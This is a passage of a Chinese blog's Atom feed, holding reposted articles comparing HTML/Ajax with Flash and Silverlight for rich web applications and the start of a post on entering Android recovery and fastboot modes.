&lt;p&gt;在这场战争中，HTML阵营具有一个很大的特点，那就是它在行业标准和信息展现方面具有深厚的根基。不过这个特点可能是一柄双刃剑。&lt;br /&gt;　&lt;br /&gt;　　业界标准可以吸引广泛的使用者，但是它们通常实现起来非常缓慢。尽管JavaScript和HTML已经标准化，但是它们在不同的浏览器中实现方式有所不同，甚至在同一浏览器不同版本中也不同，这要求程序员在开发Web应用的时候，必须考虑其应用是否适合所有浏览器的不同版本。&lt;br /&gt;　&lt;br /&gt;　　但是现在和上世纪90年代浏览器之争时有所不同，现在的浏览器市场更加集中而不再呈现多样化。各种浏览器开始不断向标准靠拢，即将到来的微软IE 8也将默认在兼容标准模式下发布。&lt;br /&gt;　&lt;br /&gt;　　HTML阵营不可能被彻底打败，这就是Zimbra工程主管Kevin Henrikson支持HTML阵营的原因之一。提供在线e-mail和其它应用服务的Zimbra是早期的Ajax技术使用者，在2007年被互联网巨人雅虎所收购。&lt;br /&gt;　&lt;br /&gt;　　Henrikson表示，&amp;#8220;如果让我今天重新选择，我依然会选择JavaScript和Ajax&amp;#8230;&amp;#8230;没有什么能动摇我们选择它的信心，尽管现在Flash被认为具有相当强劲的增长势头，但是我依然认为JavaScript的使用率将是Flash的10倍。&amp;#8221;&lt;br /&gt;　&lt;br /&gt;　　当然并非所有人都和Henrikson一样如此厚爱HTML阵营，微软对此就有不同的看法，它认为，随着Web应用的用户体验开始更加丰富，程序员最好远离HTML和JavaScript.微软富客户端平台产品经理Brad Becker负责帮助发展Silverlight技术，他表示，&amp;#8220;人们使用HTML完成了很多令人惊讶的任务，不过它并不是专门为富互联网应用而设计。还有，Flash最初是被用来实现轻量级动画的。这些技术都并非为富互联网应用而设计，只是人们对它们进行了功能扩展来完成更多的事情。&amp;#8221;&lt;br /&gt;　&lt;br /&gt;HTML阵营正在进行的改进&lt;/p&gt;&#xD;
&lt;p&gt;不过，今天的HTML扩展功能在明天有可能会成为标准功能，在未来的HTML5中，我们将看到一些巨大的改变。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;div &gt;其中一个思路是让HTML实现更复杂的数据存储功能，让Web应用程序可以更长时间保存数据或文档的本地副本，这个想法已经有人提出但还没有完全被认可。这种技术的一个非常重要的应用就是让人们可以离线使用自己的Web应用软件。 &#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;其它比较大的HTML标准变化还包括，增加画板（Canvas）波脑功能，曾有人称其为脚本语言的新舞台，Canvas让浏览器可以根据程序指令迅速创建特定的图像元素，诸如图表等，而不是从一个网站上下载预先设计好的图像；Web Worker功能可以让浏览器无需影响浏览器界面，在后台执行一些计算量大的任务；而现有标准SVG如果被广泛采用的话，可以实现某些Flash功能。&lt;/p&gt;&#xD;
&lt;p&gt;另外还包括为HTML增加音频和视频标记，它们可以让浏览器无需安装额外插件就能播放多媒体资源。如果业界能够解决这个技术和该领域的知识产品难题的话，它可能具有今天Flash和Silverlight技术的重大优势。&lt;/p&gt;&#xD;
&lt;p&gt;来自Google的大力支持&lt;/p&gt;&#xD;
&lt;p&gt;Google或许是HTML、JavaScript和Ajax的最大支持者。它的Gmail和Google地图网站让很多人重新认识了HTML阵营，另外它还推出了包含在线文字处理、电子表格和演示等功能的Google Docs。&lt;/p&gt;&#xD;
&lt;p&gt;但是微软的Becker表示，一项技术不能仅仅因为Google用的好就说明它的强大。虽然Google实现了很多伟大的应用，但是有多少人能像Google一样使用它们呢？&lt;/p&gt;&#xD;
&lt;p&gt;Google正在为HTML阵营注入新的动力，其中包括通过一个开源项目Gears来提高HTML技术的能力。&lt;/p&gt;&#xD;
&lt;p&gt;Gears的旗舰功能是离线访问Web应用，例如Google的Web文字处理器，它还可以被用来提高社交网站MySpace的搜索速度，以及加速WordPress的发帖过程。从Gears的功能来看，Google正在为将来而考虑，其中包括为Web应用增加桌面提醒来使其交互性更强，增加定位处理而让Web应用充分利用Web用户地理位置信息，以及支持网络摄像机和麦克风功能。&lt;/p&gt;&#xD;
&lt;p&gt;与Flash和Silverlight一样，Gears必须被手动安装，目前它还没有被广泛使用。但是目前一些大的服务已经开始使用它，这有可能推动人们去安装它，进而推动网站站长们来支持它。&lt;/p&gt;&#xD;
&lt;p&gt;Google的Gmail邮箱服务将有可能是引发人们使用Gears的服务之一。Google负责产品管理的副总裁Sundar Pichai表示，&amp;#8220;我们相信Gears将会在像Gmail之类的产品中得到广泛应用。&amp;#8221;有迹象表明Gears增强版的Gmail不久将会面世。&lt;/p&gt;&#xD;
&lt;p&gt;同时，雅虎掌握了自己的名为BrowserPlus的浏览器扩展技术。目前该技术还仅仅应用在一些雅虎的实验类应用中，诸如用于上传图片到Flickr图像共享站点的Web工具中。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;Henrickson对BrowserPlus非常感兴趣，他表示Zimbra已经开始对其进行试验。这项技术在Web应用和本地计算机之间&amp;#8220;架起了一座桥梁。&amp;#8221;让程序员可以&amp;#8220;访问本地文件系统、进行系统功能调用、支持拖拽操作和访问网络摄像机。&amp;#8221;&lt;/p&gt;&#xD;
&lt;p&gt;但是有一个令人痛苦的问题：Gears和BrowserPlus真的和HTML、JavaScript属于同一个阵营吗？至少至今为止BrowserPlus还是一个商业技术，而且Gears当然也并非一个标准技术。而且和Flash或Silverlight插件一下，Gears和BrowserPlus也必须被下载和安装。&lt;/p&gt;&#xD;
&lt;p&gt;但是，Google认为Gears是HTML的同盟军。Gears工程师Aaron Boodman表示，&amp;#8220;Gears是HTML阵营的先头部队，尝试一些新的思想，然后最终将其变为一个新的标准。&amp;#8221;Pichai表示，当新的HTML标准需要哪方面的功能时，Google就首先在Gears中尝试去实现它。&lt;/p&gt;&#xD;
&lt;p&gt;Flash和Silverlight阵营的强大&lt;/p&gt;&#xD;
&lt;p&gt;Flash和它的新对手Silverlight向用户提供了一些非常具有吸引力的优势功能，例如支持音频和视频流播放功能，这让它们成为某些Web应用的必选技术。&lt;/p&gt;&#xD;
&lt;p&gt;举个例子来说，在线图片编辑功能就充分显示了Flash技术的能力。线上编辑工具Picnik就是使用了Flash技术，Adobe公司也有一个类似的在线工具Photoshop Express。尽管两者无法实现Photoshop CS3的全部功能，但是它们还是具有非常强大的编辑功能。&lt;/p&gt;&#xD;
&lt;p&gt;Picnik的首席技术官Darrin Massena表示，Picnik具有非常接近于桌面应用体验的功能，在HTML标准Canvas或SVG实现以前，Flash技术无疑是最合适的选择。&lt;/p&gt;&#xD;
&lt;p&gt;他还表示，即使上面说的这些新功能最终变为HTML标准，&amp;#8220;还需要很长一段时间才能看到它们在浏览器中实现，需要很长时间来测试其兼容性是否能够值得人们信赖它们。&amp;#8221;&lt;/p&gt;&#xD;
&lt;p&gt;同时，并不是只有HTML在不断完善。Flash和Silverlight也在不断向前发展。&lt;/p&gt;&#xD;
&lt;p&gt;Massena表示，&amp;#8220;在Flash Player 10中，Adobe进行了大量的改进和创新。一年半以前我们向Adobe提出了一些希望添加的功能，在这个版本中我们看到他们对我们的要求做出了响应。&amp;#8221;&lt;/p&gt;&#xD;
&lt;p&gt;Flash Player 10目前处于第二个测试版本，它的功能包括增加了三维图像、特殊效果和更好的视频流、硬件加速图像和文笔控制功能。&lt;/p&gt;&#xD;
&lt;p&gt;至于Silverlight，尽管它还有优秀到让Picnik考虑使用它的地步，从版本1到现在的Silverlight 2测试版它的进步还是不小的。Massena表示，&amp;#8220;如果Silverlight能够保持这个速度发展，它肯定在富互联网应用中占有一席之地，如果它们能够首先实现3D图像，一定会有很多开发者选择使用它。&amp;#8221;&lt;/p&gt;&#xD;
&lt;p&gt;微软宣传Silverlight的一个重点是它可以提高程序员的效率。它基于在微软.NET编程技术中使用的相同C#和VB.net语言，因此对于很多微软的程序员来说已经掌握了很多相关技能，而且可以使用微软优秀的编程工具。&lt;/p&gt;&#xD;
&lt;p&gt;同样，Flash也有强大的编程工具，而且这个工具还可以与像Photoshop和Illustrator之类的工具配合使用，这对于应用程序设计工作是非常有用的。而且由于互联网用户可以迅速升级他们的Flash软件到最新版本，它是一个更加稳定和可靠的编程平台。&lt;br /&gt;&amp;nbsp;&lt;/p&gt;&#xD;
&lt;div &gt;结束语 &#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;很明显没有哪一个技术能够垄断富互联网应用市场，至少在近期是如此。每一个阵营的拥护者也都认可它们的对手存在可取之处。多种富互联网技术共存的格局将使它们尽自己最大的努力来进行技术创新。&lt;/p&gt;&#xD;
&lt;p&gt;用Boodman的一句话来结束本文，&amp;#8220;Web平台正在变得越来越强大，我认为我们现在处于Web开发最活跃的一个时期。&amp;#8221;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/1951532.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951532.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951500.html</id><title type="text">理性思考Flash与Ajax相关问题[转载]</title><summary type="text">此文写于购《交互设计之路-让高科技产品回归人性》、《Ajax in Action》两书之后。 &amp;amp;#8211; 转载请保留出处http://www.awflasher.com/blog/archives/503我实在是不愿冠以这样一个标题，但危机已经来临。之前(2005-04-28-时隔一年)我曾经翻译过国外某blog上的文章和评论：http://www.awflasher.com/blog/archives/216该文荣幸得到了Adobe中国的7yue的推荐。现在回首再看那时的争论，呵呵，有些不寒而栗，那时Ajax不过是DHTML的一个新名词罢了，看看今天&amp;amp;#8230;&amp;amp</summary><published>2011-02-11T09:14:00Z</published><updated>2011-02-11T09:14:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951500.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951500.html"/><content type="html">&lt;p&gt;此文写于购《交互设计之路-让高科技产品回归人性》、《Ajax in Action》两书之后。 &amp;#8211; 转载请保留出处&lt;br /&gt;&lt;a href="http://www.awflasher.com/blog/archives/503"&gt;&lt;font color="#477725"&gt;http://www.awflasher.com/blog/archives/503&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&#xD;
&lt;p&gt;我实在是不愿冠以这样一个标题，但危机已经来临。之前(2005-04-28-时隔一年)我曾经翻译过国外某blog上的文章和评论：&lt;br /&gt;&lt;a href="http://www.awflasher.com/blog/archives/216"&gt;&lt;font color="#477725"&gt;http://www.awflasher.com/blog/archives/216&lt;/font&gt;&lt;/a&gt;&lt;br /&gt;该文荣幸得到了Adobe中国的7yue的推荐。现在回首再看那时的争论，呵呵，有些&lt;span style="color: blue"&gt;不寒而栗&lt;/span&gt;，那时Ajax不过是DHTML的一个新名词罢了，看看今天&amp;#8230;&amp;#8230;&lt;/p&gt;&#xD;
&lt;p&gt;作为一个纯粹的产品创作者（比如产品经理）或者开发人员（比如交互式设计工程师、原型开发工程师）而言，这么说似乎显得不近理性，甚至可以成为被上级辞退的一条理由。但作为一个从Flash中受益，与Flash共同成长的Flash的用户，我不得不为Flash本身感到深深的担忧。&lt;/p&gt;&#xD;
&lt;p&gt;Flash固然是工具，但我毕竟不是一个冷血的商人，使用它，我感受到了乐趣。之前有很多朋友分析、对比过Flash和它的竞争对手，尤其最近Luar两篇文章&lt;a title="http://www.luar.com.hk/flashbook/archives/001317.php" href="http://www.luar.com.hk/flashbook/archives/001317.php" target="_blank"&gt;&lt;font color="#477725"&gt;《2006-Flash的未来未有来》&lt;/font&gt;&lt;/a&gt;和&lt;a title="http://www.luar.com.hk/flashbook/archives/001325.php" href="http://www.luar.com.hk/flashbook/archives/001325.php" target="_blank"&gt;&lt;font color="#477725"&gt;「從Flash走到AJAX－－使用者經驗與開發者經驗的二三事」講義下載&lt;/font&gt;&lt;/a&gt;更是把Flash的位置推及到悬崖边缘。相比已经投身Ajax的Luar，我也想发表一些自己的观点，当然，我无论是从经验，还是技术，都无法与Luar相提并论，但我争取理智地得出每一个结论。&lt;br /&gt;&lt;span id="more-503"&gt;&lt;/span&gt;&lt;br /&gt;三年前，随着FlashMX2004推出以及面向对象脚本AS2.0的出现，似乎Flash进军富客户端(Rich Client)的障碍被彻底扫除。如果我没有记错，正是Macromedia给富客户端&amp;#8220;创造&amp;#8221;了一个全新的、更大气的名字：RIA(Rich Internet Application)&lt;/p&gt;&#xD;
&lt;p&gt;RIA的出现，似乎标志了一个时代。FlashMX2004似乎一夜间成为了开发RIA的必备利器。AS2.0的出现，头一次把Development（开发，主要指采用AS开发应用程序）列为Flash制作的另一条重要路线（之前一直是偏重Motion-Design:图形动画设计的），也正是那一年，大量的传统开发者投身RIA大军之中，一些AS1.0的坚决拥护者甚至高手也纷纷落马，开始回头重新补OOP的课。Flash从一个简单的交互式动画制作软件，摇身变成互联网应用程序开发的必备利器，瞬间背负了沉重的&amp;#8220;历史使命&amp;#8221;。然而不管是传统的Flash设计人员以及AS1.0面向过程开发高手，还是投靠FlashMX2004的新生力量，都对未来充满了乐观。Macromedia的Flashplayer普及率调查一次次将大家的斗志推向极致。市场上对于Flash开发者的需求也在急速上升：&lt;a title="我的简历" href="http://www.awflasher.com/blog/archives/83"&gt;&lt;font color="#477725"&gt;我的简历&lt;/font&gt;&lt;/a&gt;已经被浏览万次以上，并且收到很多电话邀请，小公司为主，也不乏较大的公司。当然，我并不是在这里给自己贴金，之前已经为这种&amp;#8220;人品爆发&amp;#8221;的现象作了&lt;a title="理性解释和反思" href="http://www.awflasher.com/blog/archives/441"&gt;&lt;font color="#477725"&gt;理性解释和反思&lt;/font&gt;&lt;/a&gt;。权且理解为，我不经意之间沾了Flash的光吧！&lt;/p&gt;&#xD;
&lt;p&gt;Macromedia在2005年4月（去年），完成了她最辉煌的结尾：被Adobe收购。&lt;/p&gt;&#xD;
&lt;p&gt;其实被收购之初，大家都心有余悸，Luar当时也犀利地抨击过Adobe历史上通过收购调整产品线的一些劣行，说其很可能会把Flash给偷偷干掉。但时间证明Adobe没那么傻。三剑客无一遗弃。就连最危险的Fireworks，Adobe也给足了颜面。我们这些Macromedia的忠实拥护者渐渐地也接受了Adobe这样一个品牌。以至于今年4月16号，也没有谁跳出来&amp;#8220;纪念&amp;#8221;Macromedia被收购一周年（如果Adobe在收购之后把Flash干掉或者仅仅停缓开发，肯定会激起民愤）。这里顺便也表达我自己对Adobe的感激，它似乎吸纳了Macromedia的精神和灵魂。收购并没有影响Flash8的推出，包括之后的&lt;a href="http://www.awflasher.com/blog/archives/393"&gt;&lt;font color="#477725"&gt;FlashPlayer8.5&lt;/font&gt;&lt;/a&gt;的迅速跟进。&lt;/p&gt;&#xD;
&lt;p&gt;就在一切都顺利进展的时候，一个不起眼的名词出现了：&lt;span style="color: red"&gt;AJAX&lt;/span&gt;。&lt;/p&gt;&#xD;
&lt;p&gt;这就是Flash的最大&amp;#8220;竞争对手&amp;#8221;？就我(awflasher.com)所知，目前没有一本像样的Flash开发书籍中提到Ajax，而几乎每一本Ajax的畅销书中都有提到Flash，有些甚至直接把Flash列为Ajax的竞争对手。我知道他们这么说肯定是有依据的，毕竟Ajax和Flash有太多相似之处：界面友好、用户体验良好、无刷新+数据安全保存等等&amp;#8230;&amp;#8230;又毕竟，Flash的一些技术门槛和负面影响导致Ajax阵营可以迅速扩大，比如一些优秀的Flash制作人员毕竟还是偏重图形界面设计；传统的Web开发者很难进入Flash领域，不管他多聪明，也不可能一夜之间就把MovieClip这样的关键概念很快彻底掌握。而Ajax则不然，后面会提到。&lt;/p&gt;&#xD;
&lt;p&gt;于是，相关的争论、比较也就接踵而至。也许是上文提到的Flash开发人员偏重图形设计，或者不客气地说，缺乏严密的理性、&lt;strong&gt;批判&lt;/strong&gt;能力，所以每一次的争论中，似乎Ajax都稍占上风。并且Ajax最新的书籍也是层出不穷，图文并茂，概念多多。而且似乎本本畅销！&lt;/p&gt;&#xD;
&lt;p&gt;我并不是想激化争端，但我是Flash的用户，因此我想大胆猜测一下造成这种局势的缘由：&lt;br /&gt;姑且把Flash和Ajax双方的支持者成为F阵营和A阵营，再次申明，我只是罗列一些实事，并非挑拨离间，我爱Flash，我也爱AJAX!&lt;br /&gt;//转载保留：&lt;a href="http://www.awflasher.com/blog/archives/503"&gt;&lt;font color="#477725"&gt;http://www.awflasher.com/blog/archives/503&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&#xD;
&lt;p&gt;一、Ajax技术来的虽然不晚，但是炒作的却比较晚，特别是在Flash8之后才火起来。因此沉浸在Flash8的喜悦中的F阵营似乎还没有做好准备。注：炒作这里并非贬义，只是我找不到合适的词来描述&amp;#8220;短期内将某概念推广致大多数人认同&amp;#8221;&lt;br /&gt;二、Ajax本身技术变革少，技术上甚至没什么新名堂，主要是概念和形式，已经有的技术积累也不错，因此投入研究非常容易；而Flash8改动大，每一次Flash升级，几乎都有一堆变革，加上本身设计+开发&lt;strong&gt;并重&lt;/strong&gt;的AS2.0大大提高了入门门槛，F阵营有实力进行理性批判的&lt;strong&gt;人数&lt;/strong&gt;（aw注：包括文章撰稿人和翻译者）肯定远远不及A阵营；&lt;br /&gt;三、刚才提到的：Flash开发人员还是偏重图形、动画设计，或者不客气地说，缺乏严密的理性、批判能力；&lt;br /&gt;三、Ajax确实有优势：浏览器的支持；而Flash虽然有着普及率众多的&lt;a title="Flashplayer" href="http://www.awflasher.com/blog/tag/Flashplayer8"&gt;&lt;font color="#477725"&gt;Flashplayer&lt;/font&gt;&lt;/a&gt;基础，但是浏览器支持方面肯定比Javascript稍逊一筹。毕竟你很难找到一个不支持Javascript的终端（禁止JS的人并没有你想象得那么多），然而找到一个仅装有Flashplayer6.0的客户机，还是比较容易的；&lt;br /&gt;四、其实这些也没有那么严重，Ajax毕竟也是一个无形的概念，没有太多的利益关系，最严重的是M$最新的一款IE补丁，使得整个互联网上IE中的Flash一下子全部殃及，让人不得不联想到微软Sparkle。（详见：&lt;a title="《Flash杀手!微软Sparkle即将露面》" href="http://www.awflasher.com/blog/archives/355"&gt;&lt;font color="#477725"&gt;《Flash杀手!微软Sparkle即将露面》&lt;/font&gt;&lt;/a&gt; by awflasher.com）Sparkle以何种形式出现？Sparkle会不会团结A阵营排斥F阵营的影响，这些都不得而知。&lt;/p&gt;&#xD;
&lt;p&gt;最后，看到这个标题：&lt;a href="http://blog.donews.com/keso/archive/2006/04/28/849386.aspx" target="_blank"&gt;&lt;font color="#477725"&gt;东拉西扯：中国网络广告总量也就相当于两个省级电视台&lt;/font&gt;&lt;/a&gt;，我恍然大悟，也许Flash/Ajax现在的&amp;#8220;战争&amp;#8221;还不及非洲某个小部落之间的战争呢。&lt;/p&gt;&#xD;
&lt;p&gt;==&lt;/p&gt;&#xD;
&lt;p&gt;蓝色理想经典论坛相关评论，其中meud提到的js的问题以及flash的XMLSocket问题都值得好好看看；而且也can&amp;#8217;t agree more with moonsun说的&lt;strong&gt;时间&lt;/strong&gt;是检验真理的唯一标准。甚至比实践还重要。不妨理解为&lt;strong&gt;经过过去所有时间的实践的积分&lt;/strong&gt;。后面的三点预言我觉得也非常有道理。确实，有时候我辛辛苦苦开发出来一个flash app放到FF上跑不了，非得去IE跑，当时我还挺郁闷，结果一调查，除了我自己，大家都在IE&amp;#8230;也就是说大家都跑得挺好&amp;#8230;&amp;#8230;我也就懒得改了。&lt;/p&gt;&#xD;
&lt;p&gt;之前也发帖&lt;strong&gt;反思&lt;/strong&gt;过。看来人需要多多&lt;strong&gt;反思&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p &gt;&lt;/p&gt;&#xD;
&lt;p &gt;引用自 &lt;u&gt;meud(Moderator)&lt;/u&gt;&lt;/p&gt;&#xD;
&lt;p &gt;这是一个很好的议题，相信很多搞RIA应用的人都会关注AJAX跟FLASH。&lt;/p&gt;&#xD;
&lt;p&gt;所谓AJAX的优势，在客户端来说无非是JAVASCRIPT的优势，即JAVASCRIPT解析器几乎被所有的游览器所支持，在客户端占有率来说，FLASHPLAEYR目前没有达到或者超过它。&lt;/p&gt;&#xD;
&lt;p&gt;而AJAX 的致命缺点，也正是由于JAVASCRIPT所导致的，楼主有兴趣可以找一些相关的文章，了解一下JAVASCRIPT的发展史，与大多数脚本语言相比， JAVASCRIPT的设计比较粗糙，有许多存在的，以及无法挽回的缺点（这也是JAVASCRIPT的占有率所导致的），调试一个庞大的JS程序简直是恶梦。对于一些相对脆弱的浏览器，甚至有可能导致浏览器崩溃。&lt;br /&gt;JS的页面无刷新并不意味着开销小，事实上，动态刷新技术只会增加服务器的负担。因为在整个运行过程中，客户端不断地发送请求，以保证客户端数据的即时更新。&lt;/p&gt;&#xD;
&lt;p&gt;正是由于以上特点，导致AJAX应用成本相当高，纵观AJAX的应用的出现，几乎都是技术实力雄厚的大公司，才有能力开发部署相关应用。&lt;/p&gt;&#xD;
&lt;p&gt;从语言上来看，AS1几乎就是JS的翻版，AS2是由AS1向后续版本进化的一个过度版本。这种演变的优势，将在AS3，以及后续版本中体现出来。&lt;/p&gt;&#xD;
&lt;p&gt;如果真正要做实时应用的，建议看一下FLASH中的XMLSocket类。&lt;/p&gt;&#xD;
&lt;p &gt;&lt;/p&gt;&#xD;
&lt;p &gt;引用自 &lt;u&gt;moonsun&lt;/u&gt;&lt;/p&gt;&#xD;
&lt;p &gt;正如03年我预言MM最后应该被Adobe收购，在5Dmedia和一群版主论战一样，&lt;br /&gt;再次提出那个观点：经过时间检验的才是真理。&lt;/p&gt;&#xD;
&lt;p&gt;JS或者说AJAX还有什么JAVA 3DHtml&amp;#8230;..&lt;br /&gt;是绝对不可能击败Flash的&lt;br /&gt;如果可以，这些年来早就做了。&lt;/p&gt;&#xD;
&lt;p&gt;正如FW永远只是第2等的图形处理软件。&lt;br /&gt;哪怕他在web市场占有量能对PS造成威胁。&lt;/p&gt;&#xD;
&lt;p&gt;看类似楼主写的这样的文章，总是让我感叹为什么那些根本不能透过现象看本质的观点总是会被很多人Stand Alone Complex！&lt;/p&gt;&#xD;
&lt;p&gt;回首再看现在的所谓web2.0标准问题，我预言MS仍然不会理会这个标准。&lt;br /&gt;IE的垄断地位依然存在。&lt;br /&gt;某天所有的公司都发现不执行这个标准就可以降低人力成本，但是仍然能在占市场垄断地位的IE上正常的浏览非标准格式网页的时候。&lt;br /&gt;傻瓜才会用&amp;#8220;通过W3C认证&amp;#8221;给自己渡金。&lt;/p&gt;&#xD;
&lt;p&gt;感慨良多。。。。。。&lt;/p&gt;&#xD;
&lt;p&gt;预言如下：&lt;/p&gt;&#xD;
&lt;p&gt;1前段时间提到web2.0将会提高设计师的门滥很多人可以以此提高待遇的那个帖子将会成为历史的笑柄。&lt;br /&gt;2近5年将崛起的是因为手机移动上网而广泛应用的smil&lt;br /&gt;3下一代网页不会因为任何类似web2.0的空泛概念而全面变革，只会因为网络带宽的改变而变革。&lt;/p&gt;&#xD;
&lt;p&gt;补充：aw(awflasher.com)原创翻译-&lt;strong&gt;Ajax和Flash比较分析&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;有关Flash和Ajax相比谁更优秀的讨论已经很多很多了，这里理性的评价一下。&lt;br /&gt;(awflasher.com补充，其实还是不够理性，毕竟作者是AJAX的商业开发者)&lt;/p&gt;&#xD;
&lt;p&gt;先看，Ajax应用程序，我对Ajax的定义是，DHTML + XHR(XMLHttpRequest) = Ajax。这就是说，Ajax其实是通过动态向服务器请求而减少用户的闲置等待时间的。其实很多人对Ajax有更深一层的看法，但是大多数人就是如此使用它的。这里有许多的框架基础，使得我们能够更轻松地完成Ajax开发。DWR就是一个非常明显的例子，当然，还有许多优秀的框架，比如Dojo, Prototype等等。&lt;/p&gt;&#xD;
&lt;p&gt;Flash应用程序，Flash可以指很多东西，但是我们这篇文章主要讨论swf文件。这也许在技术上不够严谨，但是却容易为大众所接受。其实swf只有一种。固然有很多诸如Laszlo、Swish这样可以用于生成swf文件的工具。Macromedia公司有一系列的基于Flash开发的RIA应用程序。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="color: red"&gt;Ajax的优势&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;可搜索性&lt;/strong&gt;&lt;br /&gt;普通的文本网页会更有利于SEO。文本内容是搜索引擎容易检索的，而繁琐的swf字节码却是搜索引擎不愿触及的。虽然Google等一些大型的搜索引擎可以检索SWF内部的内容，但是仍然有很多麻烦存在。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;开放性&lt;/strong&gt;&lt;br /&gt;Flash常年以来被Macromedia看的很死。包括Flex、FMS等辅佐技术一直都需要昂贵的安装、维护费用。而JS则没有这样的麻烦。没有人愿意承担法律和版权的风险。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;费用&lt;/strong&gt;&lt;br /&gt;Flash开发是很昂贵的，因为FlashIDE等环境都是要收费的．而Ajax则不同．虽然有一些便宜的生成swf的工具，但是他们的工能实在无法满足复杂需求。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;易用性&lt;/strong&gt;&lt;br /&gt;Ajax程序有更好的易用性。由于中间有一层Flashplayer代理层，因此许多辅助功能无法被Flash灵活利用。而且Flash在一些方面有着不好的口碑。比如弹出广告、比如恶意代码。&lt;br /&gt;（awflasher.com个人认为这八成是乱上xx网站造成的）&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;易于开发&lt;/strong&gt;&lt;br /&gt;人们开发复杂的Ajax和Flash应用程序时，都会借助一些高级的开发工具。普遍来说，Ajax的开发包比Flash简便、容易。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="color: red"&gt;Flash的优势&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;多媒体处理&lt;/strong&gt;&lt;br /&gt;Flash在音频、视频等多媒体领域相比HTML有绝对的优势。现在几乎所有的网站都包含有Flash内容。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;兼容性&lt;/strong&gt;&lt;br /&gt;兼容性好：由于通过了唯一的FlashPlayer&amp;#8220;代理&amp;#8221;。人们不必像调试JS那样，在不同的浏览器中调试程序。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;矢量图型&lt;/strong&gt;&lt;br /&gt;这是Flash最大的优势，同样处在这一领域的SVG、Canvas element以及Direct完全不能与Flash相比。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;客户端资源调度&lt;/strong&gt;&lt;br /&gt;Flash能够更容易的调用浏览器以外的外部资源。比如摄像头、麦克风等。然而这是普通的HTML无法完成的。但是这也许是一个缺点（为什么呢？）&lt;br /&gt;aw附：作者没有给出答案。但我个人认为是考虑到安全性的问题吧？&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="color: red"&gt;还是那句话，到底哪个好，这取决于你的需求&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p &gt;&lt;/p&gt;&#xD;
&lt;p &gt;引用自 &lt;u&gt;翻译的一篇评论&lt;/u&gt;&lt;/p&gt;&#xD;
&lt;p &gt;我是一名开发JS、ASP、PHP的程序员（偏服务器端）。由于一些项目需要，我自学了Flash并且深深的喜欢上了Flash。但是我却迟迟只能使用FlashMX的编程界面。每一个人都知道HTML、JS、PHP、XML都是免费的，然而Flash不是！如果Flex2是免费的，并且有一个类似.net Studio的开发环境。我将毫不犹豫地放弃Ajax。否则，虽然我喜欢Flash，但我不得不选择Ajax。作为一个服务器端的程序员，我更关心Flash和Ajax处理XML数据的能力，而不是一些漂亮的动画效果。我更看好Ajax+PHP（aw冷笑中&amp;#8230;&amp;#8230;）&lt;/p&gt;&#xD;
&lt;p id="gulink"&gt;本文来自：&lt;a title="理性思考Flash与Ajax相关问题[原创]" href="http://www.awflasher.com/blog/archives/503"&gt;&lt;font color="#000000"&gt;http://www.awflasher.com/blog/archives/503&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/1951500.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951500.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/01/27/1946221.html</id><title type="text">Android的三种特殊模式的进入方法</title><summary type="text">1. 恢复模式，用“update.zip”文件；2. 进入工程模式，刷新“.NBH”文件；3. 使用开发版的工程模式，进行 fastboot 刷机。恢复模式的说明：在此模式下可打开命令解释程序（shell），刷新映像文件（flash image），执行备份等。当然这一切取决于你手机上的recovery image版本。进入方法：菜单键+电源键。Home+Back ：重启系统Alt+L ：显示系统日志Alt+S ：这个是大家刷机最常用到的组合键Alt+W ：清空数据、恢复出厂设置Alt+B ：使用nandroid 备份系统Alt+X ：退出recovery模式并返回控制台Android工程模式的</summary><published>2011-01-27T06:49:00Z</published><updated>2011-01-27T06:49:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/01/27/1946221.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/01/27/1946221.html"/><content type="html">&lt;p&gt;1. 恢复模式，用&amp;#8220;update.zip&amp;#8221;文件；&lt;br /&gt;2. 进入工程模式，刷新&amp;#8220;.NBH&amp;#8221;文件；&lt;br /&gt;3. 使用开发版的工程模式，进行 fastboot 